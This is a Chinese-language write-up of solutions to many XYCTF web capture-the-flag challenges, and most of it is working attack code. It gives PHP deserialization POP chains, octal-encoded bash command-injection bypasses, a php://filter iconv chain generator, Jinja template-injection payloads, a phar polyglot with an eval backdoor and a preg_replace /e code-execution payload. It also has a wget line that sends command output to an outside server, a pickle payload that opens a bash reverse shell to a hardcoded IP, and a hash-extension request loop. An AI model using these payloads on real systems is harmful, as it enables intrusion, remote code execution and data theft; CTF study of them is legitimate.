XYCTF Web ezPop 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 <?php error_reporting(0); highlight_file(__FILE__); class AAA { public $s; public $a; public function __toString() { echo "you get 2 A <br>"; $p = $this->a; return $this->s->$p; } } class BBB { public $c; public $d; public function __get($name) { echo "you get 2 B <br>"; $a=$_POST['a']; $b=$_POST; $c=$this->c; $d=$this->d; if (isset($b['a'])) { unset($b['a']); } call_user_func($a,$b)($c)($d); } } class CCC { public $c; public function __destruct() { echo "you get 2 C <br>"; echo $this->c; } } if(isset($_GET['xy'])) { $a = unserialize($_GET['xy']); throw new Exception("noooooob!!!"); }
poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 <?php error_reporting(0); highlight_file(__FILE__); class AAA { public $s; public $a; public function __toString() { echo "you get 2 A <br>"; $p = $this->a; return $this->s->$p; } } class BBB { public $c='ls'; public $d; public function __get($name) { echo "you get 2 B <br>"; $a=$_POST['a']; $b=$_POST; if (isset($b['a'])) { unset($b['a']); } $c=$this->c; $d=$this->d; call_user_func($a,$b)($c)($d); } } class CCC { public $c; public function __destruct() { echo "you get 2 C <br>"; echo $this->c; } } $a = new CCC(); $a->c = new AAA(); $a->c->s = new BBB(); echo serialize($a);
POST:
利用array_pop弹出数组最后一个,system执行c的命令
连连看到底是连连什么看 来到what’s_this.php
源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php highlight_file(__FILE__); error_reporting(0); $p=$_GET['p']; if(preg_match("/http|=|php|file|:|\/|\?/i", $p)) { die("waf!"); } $payload="php://filter/$p/resource=/etc/passwd"; if(file_get_contents($payload)==="XYCTF"){ echo file_get_contents('/flag'); }
PHP_INCLUDE_TO_SHELL_CHAR_DICT 利用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 from base64 import b64encode file_to_use = "/dev/null" base64_payload = b64encode(b"XYCTF<").decode().replace("=", "") # generate some garbage base64 filters = "convert.iconv.UTF8.CSISO2022KR|" filters += "convert.base64-encode|" # make sure to get rid of any equal signs in both the string we just generated and the rest of the file filters += "convert.iconv.UTF8.UTF7|" for c in base64_payload[::-1]: filters += open("./res/" + (str(hex(ord(c)))).replace("0x", "")).read() + "|" # decode and reencode to get rid of everything that isn't valid base64 filters += "convert.base64-decode|" filters += "convert.base64-encode|" # get rid of equal signs filters += "convert.iconv.UTF8.UTF7|" filters += "convert.base64-decode" filters += "|string.strip_tags" final_payload = f"php://filter/{filters}/resource={file_to_use}" with open("test.php", "w") as f: f.write('<?php echo file_get_contents("' + final_payload + '");?>') print(filters)
脚本放在PHP_INCLUDE_TO_SHELL_CHAR_DICT文件夹下
解释一下原因:PHP_INCLUDE_TO_SHELL_CHAR_DICT链会过滤掉一些非法字符,最后转换会得到XYCTF,https://github.com/maple3142/My-CTF-Challenges/blob/master/ImaginaryCTF/Round%2028/Filter%20Master/README.md
传入的完整payload会是
1 php://filter/resource=data:,pXYCTF<|string.strip_tags|/resource=/dev/null
ezRCE 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php highlight_file(__FILE__); function waf($cmd){ $white_list = ['0','1','2','3','4','5','6','7','8','9','\\','\'','$','<']; $cmd_char = str_split($cmd); foreach($cmd_char as $char){ if (!in_array($char, $white_list)){ die("really ez?"); } } return $cmd; } $cmd=waf($_GET["cmd"]); system($cmd); really ez?
借鉴
https://xz.aliyun.com/t/12242?time__1311=mqmhD5YIMD7GkDlc%2BEH%2BDfgpkDkzDAEiD#toc-2
ls的写法
1 2 3 4 5 6 $'\154\163' $\'\\$(($((1<<1))#10011010))\\$(($((1<<1))#10100011))\' $\'\\$(($((${##}<<${##}))#${##}00${##}${##}0${##}0))\\$(($((${##}<<${##}))#${##}0${##}000${##}${##}))\' $\'\\$(($((${##}<<${##}))#${##}${#}${#}${##}${##}${#}${##}${#}))\\$(($((${##}<<${##}))#${##}${#}${##}${#}${#}${#}${##}${##}))\'
8进制转换一下
cat /flag
1 2 $0<<<$0\<\<\<\$\'\\143\\141\\164\\40\\57\\146\\154\\141\\147\' -> cat /flag $0<<<$0\<\<\<\$\'\\154\\163\\40\\57\' ->ls /
ezmd5 生成两个MD5一样的文件上传就是了
fastcoll_v1.0.0.5.exe -p 1.jpg -o 2.jpg 3.jpg
ezSerialize 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php class Flag { public $token; public $password; public function login() { return $this->token === $this->password; } } $p=new Flag(); $p->token=&$p->password; echo serialize($p);
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 <?php highlight_file(__FILE__); class A { public $mack; public function __invoke() { $this->mack->nonExistentMethod(); } } class B { public $luo; public function __get($key){ echo "o.O<br>"; $function = $this->luo; return $function(); } } class C { public $wang1; public function __call($wang1,$wang2) { include 'flag.php'; } } class D { public $lao; public $chen; public function __toString(){ echo "O.o<br>"; return is_null($this->lao->chen) ? "" : $this->lao->chen; } } class E { public $name = "xxxxx"; public $num; public function __unserialize($data) { echo "<br>学到就是赚到!<br>"; echo $data['num']; } public function __wakeup(){ if($this->name!='' || $this->num!=''){ echo "旅行者别忘记旅行的意义!<br>"; } } } $a=new E(); $a->num=new D(); $a->name=new D(); $a->num->lao = new B(); $a->num->lao->luo = new A(); $a->num->lao->luo->mack = new C(); echo serialize($a);
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 <?php class XYCTFNO1 { public $Liu; public $T1ng; private $upsw1ng; public function __construct($Liu, $T1ng, $upsw1ng = Showmaker) { $this->Liu = $Liu; $this->T1ng = $T1ng; $this->upsw1ng = $upsw1ng; } } class XYCTFNO2 { public $crypto0; public $adwa; public function __construct($crypto0, $adwa) { $this->crypto0 = $crypto0; } public function XYCTF() { if ($this->adwa->crypto0 != 'dev1l' or $this->adwa->T1ng != 'yuroandCMD258') { return False; } else { return True; } } } class XYCTFNO3 { public $KickyMu; public $fpclose; public $N1ght = "oSthing"; public function __construct($KickyMu, $fpclose) { $this->KickyMu = $KickyMu; $this->fpclose = $fpclose; } public function XY() { if ($this->N1ght == 'oSthing') { echo "WOW, You web is really good!!!\n"; echo new $_POST['X']($_POST['Y']); } } public function __wakeup() { if ($this->KickyMu->XYCTF()) { $this->XY(); } } } $a=new XYCTFNO3(); $a->KickyMu=new XYCTFNO2(); $a->KickyMu->adwa->crypto0="dev1l"; $a->KickyMu->adwa->T1ng="yuroandCMD258"; echo serialize($a);
POST
1 X=SplFileObject&Y=php://filter/convert.base64-encode/resource=flag.php
牢牢记住,逝者为大 %0a换行绕过前面注释,%23住注释后面的垃圾,反引号执行命令,wget将结果外带,正则绕过flag过 滤,sort获取文件内容
post:
1 2 a=array_pop&system=1 cmd=%0a`$_GET[1]`;%23&1=wget vpsip:port/`sort /[e-g][k-m][0-b]g`
ezMake 1 echo '<?=system("cat flag")?>' > 1.php
ez?Make 两次hex编码绕过,一次编码会有f,被waf了
1 `echo 363336313734323032663636366336313637 | xxd -r -p | xxd -r -p`
我是一个复读机 弱口令+ssti
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 ?sentence=我我 ()|attr(request.args.cla)|attr(request.args.bas)|attr(request.args.sub) ()|attr(request.args.gei) (132)|attr(request.args.ini)|attr(request.args.glo)|attr(request.args.gei) (request.args.po)(request.args.cm)|attr(request.args.re)() &cla=__class__ &bas=__base__ &sub=__subclasses__ &ini=__init__ &glo=__globals__ &gei=__getitem__ &o=os &po=popen &cm=cat /flag &re=read
ezhttp 不多说了
client-ip
referer
via
ua头
cookie
warm up 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php include 'next.php'; highlight_file(__FILE__); $XYCTF = "Warm up"; extract($_GET); if (isset($_GET['val1']) && isset($_GET['val2']) && $_GET['val1'] != $_GET['val2'] && md5($_GET['val1']) == md5($_GET['val2'])) { echo "ez" . "<br>"; } else { die("什么情况,这么基础的md5做不来"); } if (isset($md5) && $md5 == md5($md5)) { echo "ezez" . "<br>"; } else { die("什么情况,这么基础的md5做不来"); } if ($XY == $XYCTF) { if ($XY != "XYCTF_550102591" && md5($XY) == md5("XYCTF_550102591")) { echo $level2; } else { die("什么情况,这么基础的md5做不来"); } } else { die("学这么久,传参不会传?"); }
第一关
1 ?val1[]=2&val2[]=1&md5=0e215962017&XY=QNKCDZO&XYCTF=QNKCDZO
第二关
正则匹配e模式
1 2 3 4 5 6 7 8 9 10 <?php highlight_file(__FILE__); if (isset($_POST['a']) && !preg_match('/[0-9]/', $_POST['a']) && intval($_POST['a'])) { echo "操作你O.o"; echo preg_replace($_GET['a'],$_GET['b'],$_GET['c']); // 我可不会像别人一样设置 10来个level } else { die("有点汗流浃背"); }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 GET,单双引号的解析会出问题,用chr绕一下,构造脚本 def convert_to_ascii_special(text): ascii_special = '' for char in text: ascii_code = ord(char) ascii_special += 'chr({}).'.format(ascii_code) ascii_special = ascii_special[:-1] # 去除最后一个加号 return ascii_special user_input='' while(user_input!='end'): user_input = input("请输入要转换的字符:") result = convert_to_ascii_special(user_input) print(result)
1 2 a=/(.*)/ie&b=strtolower("\1")&c=${system(chr(99).chr(97).chr(116).chr(32).chr(47 ).chr(102).chr(108).chr(97).chr(103))}
post
pharm phar文件上传
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php class evil{ public $cmd; public $a; } $phar=new phar('test.phar');//后缀名必须为phar $phar->startBuffering(); $phar->setStub("GIF89a"."<?php __HALT_COMPILER();?>");//设置stub $obj=new evil(); $obj->cmd = 'eval(array_pop(getallheaders()));__halt_compiler();'; $phar->setMetadata($obj);//自定义的meta-data存入manifest $phar->addFromString("flag.txt","<?=phpinfo();?>");//添加要压缩的文件 //签名自动计算 $phar->stopBuffering(); ?>
生成phar文件
对文件phar后缀有过滤gzip饶过一下
gzip test.phar
将修改好的文件上传,改后缀位jpg,类型位image/jpeg
得到文件路径,用php协议绕过头检测,最后在bp修改http头,将aaa置于最后,命令执行
ezClass 1 ?a=SplFileInfo&aa=system&c=__toString&b=SplFileInfo&bb=cat /flag
Login 有登录就有注册
访问register.php
注册,然后登陆
点击跳转,看到cookie里有rememberme
一眼pickle反序列化
1 2 3 4 import base64 # payload=b'''(S'key1'\nS'val1'\ndS'vul'\n(cos\nsystem\nV\u0062\u0061\u0073\u0068\u0020\u002d\u0063\u0020\u0022\u0062\u0061\u0073\u0068\u0020\u002d\u0069\u0020\u003e\u0026\u0020\u002f\u0064\u0065\u0076\u002f\u0074\u0063\u0070\u002f\u0031\u0031\u0030\u002e\u0034\u0031\u002e\u0031\u0037\u002e\u0031\u0038\u0033\u002f\u0032\u0035\u0030\u0020\u0030\u003e\u0026\u0031\u0022\nos.''' payload=b'''(S'key1'\nS'val1'\ndS'vul'\n(cos\nsystem\nV\u0062\u0061\u0073\u0068\u0020\u002d\u0063\u0020\u0022\u0062\u0061\u0073\u0068\u0020\u002d\u0069\u0020\u003e\u0026\u0020\u002f\u0064\u0065\u0076\u002f\u0074\u0063\u0070\u002f\u0031\u0030\u0031\u002e\u0033\u0034\u002e\u0038\u0030\u002e\u0031\u0035\u0032\u002f\u0039\u0039\u0039\u0039\u0020\u0030\u003e\u0026\u0031\u0022\nos.''' print(base64.b64encode(payload))
反弹shell
εZ?¿м@Kε¿? 报错读文件+makefile自动变量
Makefile 自动变量https://www.zhaixue.cc/makefile/makefile-autoval.html 在Makefile中,大家经常会见到类似$@、$^、$<这种类型的变量。这种变量一般称为自动变量,自动 变量是局部变量,作用域范围在当前的规则内,它们分别代表不同的含义: $@:目标 $^:所有目标依赖 $<:目标依赖列表中的第一个依赖 $?:所有目标依赖中被修改过的文件 这里第一个依赖是就是 /flag (注意==坑点==,之前不要试$>,会导致重定向输出创建新文件了,直接影响了后续判断为依赖是 FLAG,卡了半天读不到/flag
利用$<代表第一个依赖
配合$()代码执行报错输出flag
但这题两个$$代表一个
所以$$(<$<)
ezLFI php链的利用
1 file=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.GBK.UTF-8|convert.iconv.IEC_P27-1.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO-IR-103.850|convert.iconv.PT154.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61|convert.iconv.ISO6937.EUC-JP-MS|convert.iconv.EUCKR.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CN.ISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=/etc/passwd
give me flag 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php include('flag.php'); $FLAG_md5 = md5($FLAG); if(!isset($_GET['md5']) || !isset($_GET['value'])) { highlight_file(__FILE__); die($FLAG_md5); } $value = $_GET['value']; $md5 = $_GET['md5']; $time = time(); if(md5($FLAG.$value.$time)===$md5) { echo "yes, give you flag: "; echo $FLAG; } 07adb40864b55ac9d878a561081c30e6
这题真是逆天,时间戳当哈希扩展攻击的字符串,害得我等了半天,先查询当前时间戳1714736140
变大一点,我加了300,这样就比较慢了其实
1 2 3 4 5 6 7 import requests url='http://gz.imxbt.cn:20989/?md5=278d0593b7718538c93947140ecf8fb4&value=%80%00%00%00%00%00%00%00%00%00%00%00%00X%01%00%00%00%00%00%00' while True: res=requests.get(url=url) if "{" in res.text: print(res.text) break
脚本不停访问直到出现flag
baby_unserialize